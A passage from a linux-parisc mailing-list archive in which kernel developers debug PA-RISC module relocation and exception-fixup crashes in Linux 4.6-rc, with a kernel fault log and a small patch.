AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

--185206533-423949954-1459952110=:30369--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel 4.6-rc unbootable due to module changes
Date: Wed, 6 Apr 2016 23:44:18 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <57058332.8050204@gmx.de>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
 <570409DA.1060508@gmx.de>
 <alpine.LRH.2.02.1604051612310.32758@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604061014490.30369@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459979085 4879 80.91.229.3 (6 Apr 2016 21:44:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Apr 2016 21:44:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 06 23:44:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anvFd-0001fO-Iz
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Apr 2016 23:44:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753518AbcDFVoh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Apr 2016 17:44:37 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:58042 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753481AbcDFVog (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Apr 2016 17:44:36 -0400
Original-Received: from [192.168.20.60] ([92.203.40.169]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0Ltr89-1bm74D2gLt-011EaI; Wed, 06 Apr 2016 23:44:20
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.02.1604061014490.30369@file01.intranet.prod.int.rdu2.redhat.com>
X-Provags-ID: V03:K0:1zMooDWkyE2ooRQ7km+qzlFg3DRN9HqvGlzZUTQ6xq8kNCbUBCY
 H4j5aRIDR2WRCGCKKRhddFgvIpriQJvk7LnKyqJc43+dlhfxxjODuidM7VTNZYVELZy3nfC
 PedGbIwj1qJAc9G0eDWLjOatq9Q+yLU07JjXOXbFm41Z7GXq5uQwwdHt1d0XDEJsFvwkUqX
 Gk7LAeJmM8XoVP2LlyjCQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+XDDBOO9D8Y=:mSjJW/0XFBNrxGLsS74Gjv
 fgsLfFtyTA4tEIXD7hsiPR6L+7vsHLxzlGZvtg63Dm+LnUvHgPoMaBJyeRhOuLLIWckEtSX51
 6Tu/8GJ6yL4AWicQ8gH9OKBM4tqLWYLZOIXR+1Ehuj+uyJhUqU8LEqz0UpXDbzC97YoU3k+ay
 DALcE0uVvasQvZWXNaW4HPHSBnV5fxiE5da7MxXTX/pEGHpwz7ifEmAB0lz6dyTPYTCYaMxVr
 IuN1XfUbUKeUXoClDVYHIu9ctII+lGXys7ITiN93QdcUpCp/oXkmwyrt3astvG8YWwiwCNP46
 w4CPLCqlTvM+ckPwopRaR4nS8J+wCFHmGBSMVeatyFRPSdzxdOPgWrkJnYxOCgvWyNN3jQ0d2
 TQzEtlh1kZgCwXhHDE9G8ZnYScv/IgH28YjB63TmVHiCxizyqldzWq75SpeqqlD6WXgxblifP
 LR+yrMYYVyxrMKvVlOG0rjO3IJxmFXsVXHvOpLQkrcNjZOkcEoZ4U1gFFVpJmbrjWNS3pZYUf
 MuOft6EuK6WIt+xw98HWnhUNhwEBBZQBsgEIRUnh/iaNFtV4VLFyZa7TTdNgojdgjhTCC7x40
 zciYCzwJYMJtaINaz5P0DAN/L83Ras+0hd3b3xIEGAlt/CBDpfJVeG10c/bxLrLjcZS8kycQ2
 +rCP2nbJd6gUWDC8DWMl0+4Qo3kHrLGqO+bRWlpf/maZRupez1v3GloxG8+00z2gVlgHgxNqg
 zIpUWbtQCyGl8wkSK130XqL1W/H0KEwQGLMCvoGOd1uMjWuPD1+XFy/2ZFlWL0VZzjyO2ahb 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26594>

On 06.04.2016 16:30, Mikulas Patocka wrote:
>>>>> The patch "parisc: Use generic extable search and sort routines" makes the 
>>>>> kernel unable to load any modules. It fails with:
>>>>>
>>>>> module unix: Unknown relocation: 9
>>>>> modprobe: FATAL: Error inserting unix (/lib/modules/4.6.0-rc2/kernel/net/unix/unix.ko): Invalid module format
>>>>>
>>>>> When I revert the patch, the kernel 4.6-rc2 boots fine.
>>>>>
>>>>> Apparently, the function apply_relocate_add in arch/parisc/kernel/module.c 
>>>>> doesn't handle the new relocation type.
>>>>>
>>>>> Mikulas
>>>>
>>>> BTW. I'm using hppa64 binutils 2.21 to build the kernel. It generates the 
>>>> R_PARISC_PCREL32 relocation that the kernel module loader doesn't handle:
>>>
>>> Can you try attached patch (untested) ?
>>>
>>> Helge
>>
>> I tried a similar patch, the system booted fine ... but then I discovered 
>> that the system boots fine no matter what value is written to *loc.
>>
>> Apparently, none of the modules trigger any exceptions in my 
>> configuration.
>>
>> I'll have to create a test module that triggers some exception.
>>
>> Mikulas
> 
> Hmm - it's even more strange.
> 
> I created a test kernel module that triggers an exception by using 
> get_user with an invalid address (see the attached file exception.tar)

I see there is a kernel module <sourcetree>/lib/test_user_copy.c as well.
It seems to crash too.
 
> On x86-64 the module loads fine, but on pa-risc it always crashes, even 
> with older kernel version (I tried versions 2.6.39, 4.5 and 4.6-rc2 and I 
> always get a crash).

I don't fully trust the 4.5 kernel yet.
I was working the last few days on trying to fix the FTRACE functions, but
am seeing strange crashes too.
Any chance that you can try 4.4-stable, just to make sure ?

> When I write a userspace code that triggers a fault in module unix.ko, by 
> passing an invalid address to the ioctl syscall, the kernel also crashes.
> 
> So, it seems that handling exceptions from modules never worked on 
> pa-risc, it was just masked by the fact that exceptions from modules don't 
> happen during normal use.

I'll try to dig deeper as soon as I find time.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel 4.6-rc unbootable due to module changes
Date: Fri, 8 Apr 2016 00:48:00 +0200
Lines: 192
Approved: news@gmane.org
Message-ID: <5706E3A0.2020902@gmx.de>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
 <570409DA.1060508@gmx.de>
 <alpine.LRH.2.02.1604051612310.32758@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604061014490.30369@file01.intranet.prod.int.rdu2.redhat.com>
 <57058332.8050204@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------080101040304080909040901"
X-Trace: ger.gmane.org 1460069308 5684 80.91.229.3 (7 Apr 2016 22:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Apr 2016 22:48:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 00:48:20 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoIip-00026T-75
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 00:48:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756411AbcDGWsS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Apr 2016 18:48:18 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:55126 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753278AbcDGWsR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Apr 2016 18:48:17 -0400
Original-Received: from [192.168.20.60] ([92.203.48.155]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LoEwL-1bUGBG05V3-00gDc7; Fri, 08 Apr 2016 00:48:03
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <57058332.8050204@gmx.de>
X-Provags-ID: V03:K0:oKwCn9ATtWxPBsK36YAl8tiN/AGW4CQTu987N8nTqjUXtTnmROa
 PpZ4PCBAs1CxIgb+ZVujn0vkio4MFhGBkH1uOuX+g/CvwxM1cx4Lxtl+gKV+5sl9Hpjpy5n
 bmXswiPuPLhZMO4JbZLaPpPJmxe1WJS7BV/vqRHT7srbD4mR+MaSZwcLAWAtpAusX4Z+ukM
 WaJWGRRTe8DbePwlJdqWg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vZVXVk1ejRU=:UJtiI1HNa5fdgyo1GxHU1L
 NpvcmaU5wo75VvDKV3q1xcZ7p1mT4UUboA+iF2bI3WfJ7uY5dB/l9yzoDaDMhcTZuuFDwDg3L
 SzKj9Z3CD9P0r+znOxOcraCUFre5UBOV4+tWSPg/Owe4qBbymlGbAKns5K81rSCIDeWwUY2Ma
 F/zPTRw72VUffiAwbK4t5bwQymrINLtebk6FTrLSJ3WfdbcIX7Pe/KOnrOEEkX8a5QGSBP6of
 0K0OWhVzdgFG8UkqDTEqXOaJxQlzSScg/z+zhkiI3DLC14WjBdPPAeZOJpsdMxovAKnI9JiPe
 lHTgUqT3zgAhh6sVuFIR6r6YuX1LaAK+QUeJ/kx3kpqfR3QY1dZQGmZrPmMNs/V2U3mXZs/Qq
 PWXtpzreS+fVpg91GKuSZIraDqjgLbw/BoSZCcaVG2AXGK/RzPjM9ms0mbIATFShj4S60lqsG
 OI9QcdgletTbWvI1E9tuUI2wRMMJk3iryNIp28z58kYGgJGB0OdUlBKKQQKGv2i6YyadSOcP2
 UIEk9gRMinP15JW3tGYJnkKmwBTZjqVJSv0fwPNSTpGusKdo8nFT/UN8JyuyZYFzbrylcb7H5
 0fT9f2Z6TjscfbJvMJglPhowlizqGQgoRMGKfj+R5DBtUWgpv+XFIFD1uUjYbsK9On4FN1/Ox
 u1K4xZ1bhontvQWy0JJJlF/nUyZJeXn41aRu/WMRyR7FFkf1QeUoaSu9VPctcKKuy3xm5TD1R
 /ExiSqhe+dYEesipeUSv1IJxDlubmue2P2pIFiZ49ipGHKyTP3FMrh9yVqE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26595
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26595>

This is a multi-part message in MIME format.
--------------080101040304080909040901
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit

On 06.04.2016 23:44, Helge Deller wrote:
> On 06.04.2016 16:30, Mikulas Patocka wrote:
>>>>>> The patch "parisc: Use generic extable search and sort routines" makes the 
>>>>>> kernel unable to load any modules. It fails with:
>>>>>>
>>>>>> module unix: Unknown relocation: 9
>>>>>> modprobe: FATAL: Error inserting unix (/lib/modules/4.6.0-rc2/kernel/net/unix/unix.ko): Invalid module format
>>>>>>
>>>>>> When I revert the patch, the kernel 4.6-rc2 boots fine.
>>>>>>
>>>>>> Apparently, the function apply_relocate_add in arch/parisc/kernel/module.c 
>>>>>> doesn't handle the new relocation type.

>> Hmm - it's even more strange.
>>
>> I created a test kernel module that triggers an exception by using 
>> get_user with an invalid address (see the attached file exception.tar)
> 
> I see there is a kernel module <sourcetree>/lib/test_user_copy.c as well.
> It seems to crash too.

>> So, it seems that handling exceptions from modules never worked on 
>> pa-risc, it was just masked by the fact that exceptions from modules don't 
>> happen during normal use.

Sadly you seem to be right :-(
I did more testing with the test_user_copy module (with vanilla kernel 4.5 and without the relative extable support).
 
The attached patch fixes most of the issues:
1. Kernel doesn't crash any longer on the "illegal reversed copy_to_user" testcase.
2. It fixes the R_PARISC_DIR64 ex_table entries to create absolute addresses for the exceptions in the module instead of trying to refer to function pointers.

BUT:
It then crashes afterwards.
What happens is that the exception fixup handler now jumps from the module directly to fixup_get_user_skip_1() in the kernel code.
In arch/parisc/lib/fixup.S we have:
ENTRY(fixup_get_user_skip_1)
        get_fault_ip %r1,%r8
....
which expands to:
0000000040a5aab0 <fixup_get_user_skip_1>:
    40a5aab0:   2b 76 50 00     addil L%6c800,dp,r1
    40a5aab4:   50 21 02 f0     ldd 178(r1),r1
    40a5aab8:   03 c0 08 a8     mfctl tr6,r8
    40a5aabc:   49 08 00 28     ldw 14(r8),r8

and the kernel then crashes at 40a5aab4 because dp still has the value of the module and not of the kernel. 

I wonder how we should avoid that.

Maybe the easiest way is to not inline the get_user()/put_user() code in modules, but instead jumping into the kernel and call functions like
- get_user_1(), get_user_2(), get_user_4()...
and so on.

What shall we do?
- Skip the exception handling in modules (as mentioned above by get_user_1()) with the drawback of less performance due to additional calls,
- rewrite the exception table code to use function pointers, or  
- rewrite get_fault_ip() macro to temporary set dp to %r0 (if possible at all?),
- other ideas / opinions ?

Helge


FYI, here is my current log while loading the test_copy_user module:

[  289.900000] Non local DIR64 Symbol fixup_get_user_skip_1 loc 00000000020b16a0 val 40a5aab0 points to 0x40a5aab0
[  290.020000] --- local DIR64 Symbol  loc 00000000020b16a8 val 20b32c0 points to 0x20b34e4
[  290.120000] Non local DIR64 Symbol fixup_get_user_skip_1 loc 00000000020b16b0 val 40a5aab0 points to 0x40a5aab0
[  290.240000] --- local DIR64 Symbol  loc 00000000020b16b8 val 20b32c0 points to 0x20b3558
[  290.336000] Non local DIR64 Symbol fixup_put_user_skip_1 loc 00000000020b16c0 val 40a5ab20 points to 0x40a5ab20
[  290.456000] --- local DIR64 Symbol  loc 00000000020b16c8 val 20b32c0 points to 0x20b3564
[  290.552000] Non local DIR64 Symbol fixup_put_user_skip_1 loc 00000000020b16d0 val 40a5ab20 points to 0x40a5ab20
[  290.676000] --- local DIR64 Symbol  loc 00000000020b16d8 val 20b32c0 points to 0x20b3808
[  290.772000] Non local DIR64 Symbol fixup_get_user_skip_1 loc 00000000020b16e0 val 40a5aab0 points to 0x40a5aab0
[  290.892000] --- local DIR64 Symbol  loc 00000000020b16e8 val 20b32c0 points to 0x20b3814
[  290.988000] Non local DIR64 Symbol fixup_get_user_skip_1 loc 00000000020b16f0 val 40a5aab0 points to 0x40a5aab0
[  291.112000] --- local DIR64 Symbol  loc 00000000020b16f8 val 20b32c0 points to 0x20b3898
[  291.208000] Non local DIR64 Symbol fixup_put_user_skip_1 loc 00000000020b1700 val 40a5ab20 points to 0x40a5ab20
[  291.328000] --- local DIR64 Symbol  loc 00000000020b1708 val 20b32c0 points to 0x20b38a4
[  291.424000] Non local DIR64 Symbol fixup_put_user_skip_1 loc 00000000020b1710 val 40a5ab20 points to 0x40a5ab20
[  291.548000] test_user_copy: Testing: legitimate copy_from_user failed
[  291.624000] test_user_copy: FINISHED: result = 0
[  291.680000] test_user_copy: Testing: legitimate copy_to_user failed
[  291.756000] test_user_copy: FINISHED: result = 0
[  291.808000] test_user_copy: Testing: legitimate get_user failed
[  291.880000] test_user_copy: FINISHED: result = 0
[  291.936000] test_user_copy: Testing: legitimate put_user failed
[  292.008000] test_user_copy: FINISHED: result = 0
[  292.064000] test_user_copy: Testing: illegal all-kernel copy_from_user passed
[  292.148000] fault at 0x406d671c ... found !  fixup = 0x406d6844
[  292.220000] test_user_copy: FINISHED: result = 0
[  292.272000] test_user_copy: Testing: illegal reversed copy_from_user passed
[  292.356000] fault at 0x406d671c ... found !  fixup = 0x406d6844
[  292.428000] test_user_copy: FINISHED: result = 0
[  292.484000] test_user_copy: Testing: illegal all-kernel copy_to_user passed
[  292.568000] fault at 0x406d672c ... found !  fixup = 0x406d684c
[  292.640000] test_user_copy: FINISHED: result = 0
[  292.692000] test_user_copy: Testing: illegal reversed copy_to_user passed
[  292.776000] fault at 0x406d671c ... found !  fixup = 0x406d6844
[  292.844000] test_user_copy: FINISHED: result = 0
[  292.900000] test_user_copy: Testing: illegal get_user passed
[  292.968000] fault at 0x020b3814 ... found !  fixup = 0x40a5aab0
[  293.040000] fault at 0x40a5aab4 ... not found !
[  293.096000] Backtrace:
[  293.096000] fault at 0x40223eac ... found !  fixup = 0x40a5aab0
[  293.096000] 
[  293.096000] 
[  293.096000] Kernel Fault: Code=15 regs=00000000b12946a0 (Addr=000000000211d978)
[  293.096000] CPU: 0 PID: 1320 Comm: modprobe Not tainted 4.5.0-64bit+ #290
[  293.096000] task: 00000000b290a700 ti: 00000000b1294000 task.ti: 00000000b1294000
[  293.096000] 
[  293.096000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[  293.096000] PSW: 00001000000001001111110000001111 Not tainted
[  293.096000] r00-03  000000ff0804fc0f 000000000211d800 00000000020b37f4 00000000b12945b0
[  293.096000] r04-07  00000000020b1000 00000000b2b3a000 00000000fa6fa000 00000000020b1478
[  293.096000] r08-11  0000000000000000 00000000020b15d0 00000000020b1430 0000000000000000
[  293.096000] r12-15  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[  293.096000] r16-19  0000000000000000 0000000000000000 00000000020b15d0 0000000000000000
[  293.096000] r20-23  0000000000000000 00000000000002f5 0000000000000000 00000000000002ee
[  293.096000] r24-27  0000000000000000 000000000800000f 0000000040d62080 00000000020b1000
[  293.096000] r28-31  0000000000000001 00000000b12949c0 00000000b12946a0 0000000040dce928
[  293.096000] sr00-03  00000000003eb800 0000000000000000 0000000000000000 00000000003eb800
[  293.096000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[  293.096000] 
[  293.096000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040a5aab4 0000000040a5aab8
[  293.096000]  IIR: 502102f0    ISR: 0000000000000000  IOR: 000000000211d978
[  293.096000]  CPU:        0   CR30: 00000000b1294000 CR31: 00000000fffff5ff
[  293.096000]  ORIG_R28: 0000000040e24df0
[  293.096000]  IAOQ[0]: fixup_get_user_skip_1+0x4/0x38
[  293.096000]  IAOQ[1]: fixup_get_user_skip_1+0x8/0x38
[  293.096000]  RP(r2): test_user_copy_init+0x534/0x6e8 [test_user_copy]
[  293.096000] Backtrace:
[  293.096000] fault at 0x40223eac ... found !  fixup = 0x40a5aab0
[  293.096000] 
[  293.096000] Kernel panic - not syncing: Kernel Fault

--------------080101040304080909040901
Content-Type: text/x-diff;
 name="fixup.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="fixup.patch"

diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index 568b2c6..4b18a04 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -48,10 +48,14 @@ EXPORT_SYMBOL(lclear_user);
 EXPORT_SYMBOL(lstrnlen_user);
 
 /* Global fixups */
-extern void fixup_get_user_skip_1(void);
-extern void fixup_get_user_skip_2(void);
-extern void fixup_put_user_skip_1(void);
-extern void fixup_put_user_skip_2(void);
+//extern void fixup_get_user_skip_1(void);
+//extern void fixup_get_user_skip_2(void);
+//extern void fixup_put_user_skip_1(void);
+//extern void fixup_put_user_skip_2(void);
+extern int fixup_get_user_skip_1;
+extern int fixup_get_user_skip_2;
+extern int fixup_put_user_skip_1;
+extern int fixup_put_user_skip_2;
 EXPORT_SYMBOL(fixup_get_user_skip_1);
 EXPORT_SYMBOL(fixup_get_user_skip_2);
 EXPORT_SYMBOL(fixup_put_user_skip_1);
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 553b098..bb7f191 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -798,6 +798,9 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 
 	    if (fault_space == 0 && !faulthandler_disabled())
 	    {
+		/* Clean up and return if in exception table. */
+		if (fixup_exception(regs))
+			return;
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 		parisc_terminate("Kernel Fault", regs, code, fault_address);
 	    }

--------------080101040304080909040901--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?utf-8?B?5oiR55qE55u45YaM5Zyo?= <zhengxuan@jbfx.com.cn>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?B?5oiR55qE55u45YaM5Zyo?=
Date: Fri, 8 Apr 2016 08:44:30 +0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20160408084438346130@jbfx.com.cn>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1460078572 12040 80.91.229.3 (8 Apr 2016 01:22:52 GMT)
